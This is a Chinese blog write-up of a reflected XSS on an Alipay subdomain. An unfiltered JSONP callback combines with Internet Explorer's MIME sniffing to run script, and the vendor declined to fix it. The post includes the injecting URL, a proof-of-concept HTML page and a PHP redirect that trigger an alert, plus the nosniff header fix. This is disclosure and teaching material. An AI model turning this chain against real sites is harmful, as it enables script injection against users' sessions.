支付宝某站XSS-IE浏览器MIME嗅探导致XSS

0x00前言

该漏洞在关闭XSS筛选器的前提下,本人电脑Win10+IE(11.483.15063.0)以及Win7下任意版本IE浏览器均测试可成功触发XSS。

0x01起源

支付宝在七夕节搞活动只要提交漏洞就代发情人节礼物,如此好事,赶紧去找了个jsonp导致的反射型xss提交AFSRC,第一次提交说是没有复现、第二次因为”经评估,该问题只影响ie7(ie8-ie11默认xss filter无法绕过),安全风险基本可忽略,这里不打算修复该问题。感谢对支付宝安全的关注”被拒了。PS:这里只做技术交流,不披露具体网址,以xxxxxx.alipay.com代替

0x02漏洞详情

1.jsonp过滤不严
支付宝某网站登录后,用户操作会发送jsonp请求获取用户登录等信息,但是请求的callbak参数过滤不严,存在安全隐患。比如请求

1
https://xxxxxx.alipay.com/record/delete.json?ctoken=123&_callback=<script>alert(1)</script>

返回如下:

1
/**/<script>alert(1)</script>({"target":"https://auth.alipay.com/login/index.htm?goto=","stat":"deny"})

但是由于返回HTTP头包含了

1
Content-Type: application/javascript;charset=GBK

在Chrome或者FireFox上只会作为文本显示,并不能执行javascrip代码,那么是不是就不能利用了呢?答案是否定的!
2.IE下MIME嗅探导致XSS
由于IE存在MIME嗅探网页内容,会根据Response流的内容来进行判断内容的类型,从而执行javascript代码。
在第三方网站上新建两个文件:
poc.html内容如下:

1
2
3
4
5
<meta charset=utf-8>
<iframe id=x src=redirect.php></iframe>
<script>
x.location.reload();
</script>

redirect.php内容如下:

1
2
3
<?php
header("location: https://xxxxxx.alipay.com/record/delete.json?ctoken=123&_callback=<script>alert(document.domain)</script>");
?>

将poc.html的链接发送给目标(此处使用xsstest.eu5.org的免费域名+空间),在关闭XSS筛选器的前提下,Win10+IE(11.483.15063.0)以及Win7下任意版本IE浏览器均成功弹窗。

xss

0x03修复方案

设置X-Content-Type-Options头 ->header(‘X-Content-Type-Options: nosniff’);

0x04小结

由于需要在IE浏览器下,并且要求用户关闭了XSS筛选器的前提下才能触发,所以官方认为影响太小不需要修复……。这里只作为实际案例探讨一下技术。

提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。